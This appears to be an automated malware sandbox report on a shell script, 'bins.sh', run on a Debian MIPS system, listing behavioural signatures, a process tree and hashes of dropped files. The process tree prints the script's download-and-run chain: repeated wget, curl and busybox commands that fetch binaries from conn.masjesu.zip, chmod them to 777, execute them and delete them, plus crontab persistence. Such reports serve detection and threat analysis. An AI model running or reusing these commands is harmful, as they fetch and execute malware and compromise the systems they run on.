Analysis

  • max time kernel
    151s
  • max time network
    155s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    22/11/2024, 10:57

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241122-m19jaayrb1
  • SHA256 73abbaa7b9f154634c0a04d00f54e2d30fd1c017794e3fe52770db5773fdeaac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1688) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 24 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:713
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:724
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          ./67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Executes dropped EXE
          PID:737
        • /bin/rm
          rm 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:743
          • /bin/chmod
            chmod 777 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • File and Directory Permissions Modification
            PID:744
          • /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            ./027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Executes dropped EXE
            PID:745
          • /bin/rm
            rm 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
              PID:747
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:748
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:749
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:755
            • /bin/chmod
              chmod 777 csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              ./csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:764
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:766
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:767
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:770
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:771
                  • /bin/rm
                    rm csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
                    2⤵
                      PID:773
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                      • System Network Configuration Discovery
                      PID:778
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                      • System Network Configuration Discovery
                      PID:860
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:870
                    • /bin/chmod
                      chmod 777 cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                      • File and Directory Permissions Modification
                      PID:875
                    • /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      ./cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                      • Executes dropped EXE
                      PID:876
                    • /bin/rm
                      rm cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                      2⤵
                        PID:878
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                        2⤵
                        • System Network Configuration Discovery
                        PID:880
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                        2⤵
                        • System Network Configuration Discovery
                        PID:882
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                        2⤵
                        • System Network Configuration Discovery
                        PID:885
                      • /bin/chmod
                        chmod 777 Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:890
                      • /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                        ./Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                        2⤵
                          PID:893
                        • /bin/rm
                          rm Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                          2⤵
                            PID:894
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            2⤵
                            • System Network Configuration Discovery
                            PID:896
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            2⤵
                            • System Network Configuration Discovery
                            PID:898
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:901
                          • /bin/chmod
                            chmod 777 Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            2⤵
                            • File and Directory Permissions Modification
                            PID:905
                          • /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            ./Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            2⤵
                            • Executes dropped EXE
                            PID:907
                          • /bin/rm
                            rm Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                            2⤵
                              PID:909
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              2⤵
                              • System Network Configuration Discovery
                              PID:911
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              2⤵
                              • System Network Configuration Discovery
                              PID:914
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:917
                            • /bin/chmod
                              chmod 777 UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              2⤵
                              • File and Directory Permissions Modification
                              PID:942
                            • /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              ./UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              2⤵
                              • Executes dropped EXE
                              • System Network Configuration Discovery
                              PID:943
                            • /bin/rm
                              rm UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                              2⤵
                              • System Network Configuration Discovery
                              PID:945
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                              2⤵
                              • System Network Configuration Discovery
                              PID:946

                          Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

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                                Downloads

                                027nbtGZfM9rgdpwbdbveNDux3k93n8KT8

                                • Path /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
                                • Size 98KB
                                • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                • MD5 SHA1 SHA512 SSDEEP

                                67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa

                                • Path /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
                                • Size 112KB
                                • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                • MD5 SHA1 SHA512 SSDEEP

                                Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q

                                • Path /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                • Size 119KB
                                • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                • MD5 SHA1 SHA512 SSDEEP

                                UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT

                                • Path /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                • Size 99KB
                                • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                • MD5 SHA1 SHA512 SSDEEP

                                cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT

                                • Path /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                                • Size 111KB
                                • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                • MD5 SHA1 SHA512 SSDEEP

                                csnbouXopQvCLckjL26Q0dKKxmhCn9GviA

                                • Path /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
                                • Size 151KB
                                • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                • MD5 SHA1 SHA512 SSDEEP

                                tmp.WknCIK

                                • Path /var/spool/cron/crontabs/tmp.WknCIK
                                • Size 210B
                                • SHA256 85c72d93fd5958410fd31aa7deea6f37c7c25d53dc5333093e6edc87e9a11744
                                • MD5 SHA1 SHA512